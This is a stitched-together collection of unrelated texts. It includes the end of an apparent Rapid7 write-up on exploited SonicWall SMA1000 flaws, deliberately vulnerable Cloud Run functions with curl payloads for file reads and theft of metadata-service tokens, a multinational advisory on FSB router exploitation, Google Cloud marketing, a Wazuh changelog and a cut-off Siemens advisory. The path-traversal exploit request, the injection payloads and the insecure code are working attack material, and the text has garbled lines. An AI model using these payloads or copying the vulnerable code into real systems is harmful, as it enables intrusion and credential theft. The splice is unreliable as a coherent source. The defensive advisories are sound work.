Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

• Performing a thorough forensic review for indicators of compromise.

• Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

• Changing user and administrator passwords.

• Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

• Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

• Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

• Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

• Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

• Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

• AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

• extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

• /var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

• F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

• 45.131.194.0/24

• 45.146.54.0/24

• 63.135.161.0/24

• 173.239.211.0/24

• 193.37.32[.]179

• 193.37.32[.]214

• 216.73.163[.]151

• 216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

Written by: Corné de Jong

import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)

curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'

curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'

import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)

curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"

export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”

evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})

curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})

curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

Executive summary

Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 

This CSA is being released by the following authoring and co-sealing agencies: 

• United States National Security Agency (NSA)
• United States Cybersecurity and Infrastructure Security Agency (CISA)
• United States Federal Bureau of Investigation (FBI)
• United States Department of Defense Cyber Crime Center (DC3)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Czech Republic National Cyber and Information Security Agency (NÚKIB)¹ 
• Danish Defence Intelligence Service (DDIS)² 
• Estonian Foreign Intelligence Service (EFIS)³ 
• Estonian Information System Authority (RIA)⁴
• Finnish Defence Intelligence (FDI)⁵
• Finnish Security and Intelligence Service (SUPO)⁶
• French National Cybersecurity Agency (ANSSI)⁷
• Italian External Intelligence and Security Agency (AISE)⁸ 
• Italian Internal Intelligence and Security Agency (AISI)⁹
• The Military Counterintelligence Service of Poland (SKW)¹⁰ 
• Sweden National Cyber Security Centre (NCSC-SE)¹¹ 

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

Download the PDF version of this report:

• Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

• Berserk Bear 
• Energetic Bear
• Crouching Yeti 
• Dragonfly
• Ghost Blizzard
• Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Targeting details

Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

• Communications,
• Defense Industrial Base,
• Energy,
• Financial Services,
• Government Services and Facilities, especially organizations at the state and local level, and
• Healthcare and Public Health.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.

The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

• Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
• Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

• CVE-2018-0171
• CVE-2008-4128¹³

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.

Mitigation actions

The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

• Disable Cisco Smart Install on all devices [D3-ACH]. [2]
• Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]
  • Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
  • SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].
• Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].
  • Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
  • Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
  •  Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]
• Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].
  
  • Example OIDs include:
    • 1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
    • 1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 
• Restrict management protocols [D3-NTF].
  • Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
  • On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
    • User Datagram Protocol (UDP) port 69 (TFTP) 
    • Transmission Control Protocol (TCP) port 4786 (SMI)
    • UDP ports 161 and 162 (SNMP)
    • TCP/UDP ports 10161 and 10162 (SNMPv3)
• Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 
  
  • Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].
    • U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
    • U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources

United States:

• Russia Threat Overview and Advisories
• Network Infrastructure Security Guide

Canada:

• Routers cyber security best practices (ITSAP.80.019)
• Security considerations for edge devices (ITSM.80.101)
• Guidance on securely configuring network protocols (ITSP.40.062)
• Baseline security requirements for network security zones (ITSP.80.022)
• Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)

Works cited

[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820

[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF

[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF

[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF

[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF

Footnotes

¹  Národní úřad pro kybernetickou a informační bezpečnost

²  Forsvarets Efterretningstjeneste

³ Välisluureamet

⁴ Riigi Infosüsteem Amet

⁵ Sotilastiedustelu

⁶ Suojelupoliisi

⁷ Agence nationale de la sécurité des systèmes d’information

⁸ Agenzia Informazioni e Sicurezza Esterna

⁹ Agenzia Informazioni e Sicurezza Interna

¹⁰ Służba Kontrwywiadu Wojskowego

¹¹ Nationellt Cybersäkerhetscenter

¹² MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.

¹³ CVE-2008-4128 only affects end-of-life Cisco devices.

Disclaimer of Endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

• National Security Agency (NSA)
  • Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
  • Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
  • Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
• Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
  •  U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 
• United States Department of Defense Cyber Crime Center (DC3)  
  • Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
  • Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
  •  Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

• Australian Signals Directorate
  • Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

• The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
  • Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

• New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

• Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

• Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

• Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

• French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

• Italian External Intelligence and Security Agency (AISE): 
  • Visit https://www.sicurezzanazionale.gov.it/ 
• Italian Internal Intelligence and Security Agency (AISI): 
  • Visit https://www.sicurezzanazionale.gov.it/ 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Appendix B: MITRE D3FEND countermeasures

See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Throughout October and November, Google Cloud is offering no-cost data analytics training. Regardless of whether you’ve just started learning how to get insights from your data or you already have significant data analytics experience, we have learning opportunities to help you take your skills to the next level. 

New to data analytics?

If you’re new to data analytics, we recommend you join our two-day Cloud OnBoard: Unleash Your Data Potential digital event to learn how you can quickly and easily generate powerful data insights. On October 27, you’ll be taught the fundamentals of analytics and data processing. On October 28, you’ll dive into BigQuery to learn how to build a modern data warehouse, speed up queries, process streaming data, use machine learning models to produce predictive analytics, and more. 

At the end of the Cloud OnBoard series, you’ll receive an e-certificate of participation and no-cost Qwiklabs credits to start earning Google Cloud skill badges. Everyone who attends will also have the opportunity to participate in a digital game during which you can compete with others to see how your skills stack up against those of your peers. 

Register for the October 27 and 28 digital events here. 

Looking for more in-depth training?

If you’re already familiar with the fundamentals of data analytics, we suggest you attend the BigQuery hands-on lab webinar on November 6 for more in-depth training. 

The lab will teach you the best practices for querying and getting insights from your data warehouse with BigQuery, Google's fully managed, NoOps, low cost analytics database. With BigQuery, you can query terabytes and terabytes of data without infrastructure to manage or a database administrator, letting you focus on what’s really important: generating actionable insights. In this lab, we will show you how to troubleshoot common SQL errors, query the data-to-insights public dataset, use the Query Validator, and troubleshoot syntax and logical SQL errors.

Sign up here for the November 6 webinar. 

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Interested in learning how you can validate your cloud expertise and become an in-demand, high-impact professional? We encourage you to attend the Certification Prep: Data Engineer Certification webinar on October 15.  

The webinar will walk you through how Google Cloud's Professional Data Engineer certification can help you validate your cloud expertise, elevate your career, and transform businesses. During this session, you'll begin your journey towards certification with tips from our certified experts, sample exam questions, and discounts to continue preparing for the certification exam.

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Around the world, companies in every industry rely on our cloud services to run their businesses, and we take that responsibility seriously. That’s why we’re focused on providing industry-leading security and product capabilities, certifications, and commitments, along with transparency and visibility into when and how customer data is accessed. Today, we’re expanding on these commitments and sharing an update on our latest work in this area. 

Commitment to privacy 

Our Google Cloud Enterprise Privacy Commitments outline how we protect the privacy of customers whenever they use Google Workspace, Google Workspace for Education and Google Cloud . There are two distinct types of data that we consider across both of these platforms—customer data and service data:

• Customer data: We start from the fundamental premise that, as a Google Cloud customer, you own your customer data. We implement stringent security measures to safeguard that data, and provide you with tools to control it on your terms. Customer data is the data you, including your organization and your users, provide to Google when you access Google Workspace, Google Workspace for Education and Google Cloud, and the data you create using those services.

• Service data: We also secure any service data—the information Google Cloud collects or generates while providing and administering Google Workspace, Google Workspace for Education, and Google Cloud — which is critical to help ensure the security and availability of our services. Service data does not include customer data — it includes information about security settings, operational details, and billing information. We process service data for the purposes that are detailed in our Google Cloud Privacy Notice (newly launched to provide more specific information about how we process service data, and effective November 27, 2020), such as making recommendations to optimize your use of Google Workspace and Google Cloud, and improving performance and functionality.

When you use Google Cloud services, you can be confident that:

• You control your data. Customer data is your data, not Google Cloud’s. We only process your data according to your agreement(s). 

• We never use your data for ads targeting. We do not process your customer data or service data to create ads profiles or improve Google Ads products.

• We are transparent about data collection and use. We’re committed to transparency, compliance with regulations like the GDPR, and privacy best practices.

• We never sell customer data or service data. We never sell customer data or service data to third parties.

• Security and privacy are primary design criteria for all of our products. Prioritizing the privacy of our customers means protecting the data you trust us with. We build the strongest security technologies into our products.

These commitments are backed by the strong contractual privacy commitments we make available to our customers for Google Workspace, Google Workspace for Education and Google Cloud. 

Enhanced customer controls and new third party certifications

We recently released new capabilities that further improve visibility and control over how data in our cloud is accessed and processed. In 2018, we were the first major cloud provider to bring Access Transparency to our customers, providing you with near real-time logs of the rare occasions Google Cloud administrators access your content. To give you even more visibility and control, we’ve made Access Approval for Google Cloud generally available to let you approve or dismiss requests for access by Google employees working to support your service. 

Our Transparency & Control Center is also now generally available as part of the Google Cloud Console. It gives you the ability to enable and disable data processing that supports features such as recommendations and insights at the organization and project level. It also allows you to export personal data that may be used to generate recommendations and insights. 

For Google Workspace, in addition to providing granular audit logs, we offer organization admins and users the ability to download a copy of their data via the data export tool and Google Takeout. These are just some of the ways we help support data portability requirements under privacy regulations such as the EU’s GDPR and the California Consumer Privacy Act (CCPA).

We continue to reinforce our commitment to privacy by meeting the requirements of internationally-recognized privacy laws, regulations, and standards. This summer we announced that we are the first major cloud provider and productivity suite to receive accredited ISO/IEC 27701 certification as a data processor. Our accredited ISO/IEC 27701 certifications for Google Workspace and Google Cloud provide customers with benefits including simplified audit processes, universal privacy controls and greater clarity around privacy-related roles and responsibilities. Certifications provide independent validation of our ongoing dedication to world-class security and privacy, and we look forward to obtaining additional certifications in the future. 

Continued innovation to support customer needs 

As the global privacy landscape and our customers’ needs change, Google Cloud will continue to work diligently to maintain our commitments to privacy, control and transparency. To learn more about our efforts, visit our Trust and Security center.

Removed

• Removed deprecated wazuh-dbd daemon and database_output configuration. (#37035)

Fixed

• Improved cluster payload buffer allocation strategy. (#37280)
• Improved cluster archive decompression limits. (#37119)
• Improved cluster worker file path validation. (#36998)
• Improved API authentication stability with bounded thread pools, regex timeouts and payload size limits. (#37034)
• Updated aiohttp, cryptography, PyJWT, python-multipart and starlette Python dependencies. (#37361)

Agent

Fixed

• Fixed AWS SQS subscriber wodle resolving the wrong AWS account for cross-account iam_role_arn configurations. (#36791)
• Fixed agent keepalive scheduling after a system clock rollback causing false Disconnected status. (#36338)
• Fixed eBPF FIM whodata dropping file events on older kernels such as Amazon Linux 2 and 2023. (#37014)
• Fixed eBPF FIM whodata missing file move/rename events into monitored folders. (#37023)
• Added IP address validation to the ip-customblock active response to prevent malformed input in file path operations. (#36730)
• Added a null check for inode and device fields in the FIM whodata event handler. (#37245)

Ruleset

Fixed

• Fixed multiple Debian, Ubuntu and Windows SCA checks generating incorrect results. (#37385)
• Fixed a typo in the SELinux SCA check causing false failures on CentOS 8, 9 and 10 systems configured as permissive. (#36361)
• Fixed the AlmaLinux 9 and 10 bootloader permissions SCA check regex and optional file handling. (#36396)
• Fixed the /etc/gshadow- permissions SCA check always failing due to an incorrect all condition. (#36795)
• Fixed a macOS SCA PolicyBanner check false failure by wrapping the command in sh -c for glob expansion. (#36783)

RESTful API

Fixed

• Fixed TypeError when sorting agents by version with empty version strings. (#37323)
• Improved sensitive data masking in cluster configuration endpoint. (#37039)

Summary

SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.

The following versions of Siemens SINEC OS are affected:

• RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/<4.0 

Background

• Critical Infrastructure Sectors: Critical Manufacturing, Transportation Systems, Energy, Healthcare and Public Health, Financial Services, Government Services and Facilities
• Countries/Areas Deployed: Worldwide
• Company Headquarters Location: Germany

Vulnerabilities